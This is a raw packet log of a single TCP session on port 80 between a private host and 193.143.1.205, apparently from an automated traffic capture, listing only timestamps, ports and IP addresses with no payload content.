Jan 10, 2025 15:33:01.688994884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.689423084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689439058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689461946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689476013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689491034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689495087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.689505100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.689537048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.689537048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.709939003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.715100050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.717185020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.717220068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.717252970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.717272043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.717287064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.717353106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.721472025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.747653961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747669935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747687101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747730017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.747735977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747752905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747767925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747783899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.747816086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.747868061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747883081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747896910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747911930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.747929096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.747973919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.769790888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769815922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769830942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769872904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.769900084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769913912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769929886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769944906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.769965887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.769965887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.770004988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770020962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770035028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770049095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770064116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770073891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.770073891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.770143032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770158052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770173073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770186901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770196915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.770196915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.770201921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.770306110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.778283119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778300047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778322935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778337955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778352976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778357029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.778357983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.778368950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778386116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778392076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.778400898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778415918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.778439045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.778464079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800307035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800323963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800342083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800364017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800378084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800390959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800393105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800405025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800430059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800443888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800453901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800453901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800461054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800474882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800489902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.800492048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800529957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.800529957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801187992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801234961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801249027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801270008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801284075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801295042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801300049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801357031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801357031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801413059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801428080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801443100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801456928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801465988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801471949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801487923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801522017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801533937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801533937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801536083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801552057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801565886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801577091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801580906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801624060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801661015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801676035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801690102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801701069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801712990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801728964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801742077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801754951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801769018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801772118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801773071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801784992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801798105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801809072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801814079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801848888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801848888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801887989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801903009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801918983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801932096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801945925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.801965952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801965952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.801970959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802038908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.802057981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802073956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802087069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802100897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802113056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.802124977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802139044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.802140951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802159071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802170992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.802186012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.802215099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805459976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805478096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805493116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805506945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805521011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805536985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805541039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805596113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805596113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805609941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805624962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805639029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805653095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805668116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805674076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805682898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805692911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805700064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805738926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805761099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805767059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805775881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805788040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805790901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805804014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805819035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805835009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805843115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805843115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.805847883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.805902958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834228992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834244967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834259033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834281921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834294081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834297895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834309101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834331036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834346056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834348917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834362984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834398031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834398031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834464073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834479094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834501982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834522963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834534883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834547043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834563017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834574938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.834579945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.834645987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856482029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856535912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856585979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856590033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856640100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856642008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856690884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856739044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856746912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856771946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856806040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856837988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856870890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856882095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856882095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856901884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856935978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.856949091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.856967926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857002974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857008934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.857227087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857279062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857315063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.857330084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857362986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857397079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.857412100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857445955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857458115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.857479095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857511997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857537031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.857546091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.857656956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.864757061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864814043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864865065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864890099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.864898920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864933968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864964962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.864980936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.865000010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.865031004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.865046024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.865084887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.877090931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.886998892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887026072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887048006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887062073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887078047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887092113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887108088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887123108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887335062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.887752056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887774944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887789965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887830019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.887867928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887882948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887907028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887917995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.887928963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887945890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.887985945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.887985945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888014078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888030052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888051987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888066053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888073921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888082981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888098955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888137102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888137102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888161898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888176918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888191938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888206959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888221979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888237953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888242960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888242960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888287067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888302088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888317108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888325930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888351917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888403893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888420105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888433933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888448954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888451099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888484001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888484955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888525009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888540983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888575077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888575077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888576031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888592958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888622046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888645887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888700962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888715982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888729095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888744116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888770103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888770103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888827085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888849020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888864040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888879061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888887882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888894081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888926029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888937950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888937950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.888982058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.888998032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889012098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889027119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889036894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.889061928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 15:33:01.889131069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889146090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889162064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889178991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 15:33:01.889193058 CET	49705	80	192.168.2.8	193.143.1.205
